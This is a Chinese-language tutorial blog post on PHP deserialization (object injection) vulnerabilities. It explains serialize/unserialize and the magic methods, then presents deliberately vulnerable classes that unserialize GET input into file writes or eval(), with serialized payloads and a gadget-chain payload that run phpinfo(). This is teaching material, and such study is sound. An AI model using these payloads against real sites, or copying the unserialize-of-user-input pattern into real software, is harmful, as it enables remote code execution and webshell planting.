php反序列化淺談
0x01 serialize()和unserialize()
先介紹下幾個函式
serialize()是用於將類轉換為一個字串
unserialize()用於將字串轉換回一個類
serialize()
<?php
class test{
var $a = 'yicunyiye';
}
$p = new test();
$ser = serialize($p);
echo $ser;
?>
輸出為
O:4:"test":1:{s:1:"a";s:9:"yicunyiye";}
這裡O是說明為物件為4個字元,1是表示只有一個值{}裡面的s表示為字串為1就是變數a的長度,然後就是9表示值的長度
unserialize()
<?php
class test{
var $a = 'yicunyiye';
}
$p = new test();
// $ser = serialize($p);
$a = 'O:4:"test":1:{s:1:"a";s:9:"yicunyiye";}';
$unser = unserialize($a);
print_r($unser);
?>
輸出為
test Object ( [a] => yicunyiye )
這裡的test為物件[a] => yicunyiye 為 $a = "yicunyiye"
0x02 漏洞產生
當我們傳入給unserialize()引數可控的時候就可以利用
Magic function
php中有一類特殊的方法叫做“Magic function”
建構函式__construct():當物件建立(new)時會自動呼叫。但在unserialize()時是不會自動呼叫的
解構函式__destruct():當物件被銷燬時會自動呼叫。
__wakeup():如前所提,unserialize()時會自動呼叫
<?php header("Content-type: text/html;charset=utf-8"); class test{ var $test='123'; function __wakeup(){ echo "__wakeup"."<br>"; } function __construct(){ echo "__construct"."<br>"; } function __destruct(){ echo "__destruct"."<br>"; } } echo "serialize:====="."<br>"; $data=new test; $data=serialize($data); echo "unserialize:====="."<br>"; $jm=unserialize($data); print_r($jm); ?>
輸出結果為
serialize:=====
__construct
__destruct
unserialize:=====
__wakeup
test Object ( [test] => 123 ) __destruct
wakeup() 或destruct()由前可以看到,unserialize()後會導致wakeup() 或destruct()的直接呼叫,中間無需其他過程。因此最理想的情況就是一些漏洞/危害程式碼在wakeup() 或destruct()中,從而當我們控制序列化字串時可以去直接觸發它們
因此我們寫一個
<?php
class aaaa{
var $test = '123';
function __wakeup(){
$fp = fopen("shell.php","w") ;
fwrite($fp,$this->test);
fclose($fp);
}
}
$class3 = $_GET['test'];
print_r($class3);
echo "</br>";
$class3_unser = unserialize($class3);
require "shell.php";
// 為顯示效果,把這個shell.php包含進來
?>
url為:http://127.0.0.1/m/index.php?test=O:4:"aaaa":1:{s:4:"test";s:19:"<?php phpinfo(); >";}
這裡可以看到只要傳入給test就行了
其他Magic function的利用,如果用construct()其實是一樣的只需要一步步溯源回去即可
<?php
class con{
function __construct($test){
$fp = fopen("shell.php","w") ;
fwrite($fp,$test);
fclose($fp);
}
}
class wake{
var $test = '123';
function __wakeup(){
$obj = new con($this->test);
}
}
$class5 = $_GET['test'];
print_r($class5);
echo "</br>";
$class5_unser = unserialize($class5);
require "shell.php";
?>
payload:O:4:"wake":1:{s:4:"test";s:18:"";}
利用普通成員方法
前面談到的利用都是基於“自動呼叫”的magic function。但當漏洞/危險程式碼存在類的普通方法中,就不能指望通過“自動呼叫”來達到目的了。這時的利用方法如下,尋找相同的函式名,把敏感函式和類聯絡在一起。
比如這裡
<?php
class chybeta {
var $test;
function __construct() {
$this->test= new ph0en1x(); //例項化ph0en1x
}
function __destruct() {
$this->test->action(); //呼叫ph0en1x類裡的action()函式
}
}
class ph0en1x {
function action() {
echo "ph0en1x";
}
}
class ph0en2x {
var $test2;
function action() {
eval($this->test2);
}
}
$class6 = new chybeta();
unserialize($_GET['test']);
?>
我們的payload修改為
<?php
class chybeta{
var $test;
function __construct(){
$this->test = new ph0en2x();
}
}
class ph0en2x{
var $test2 = "phpinfo();";
}
$class6 = new chybeta();
$payload = serialize($class6);
echo $payload;
?>
執行payload為:
O:7:"chybeta":1:{s:4:"test";O:7:"ph0en2x":1:{s:5:"test2";s:10:"phpinfo();";}}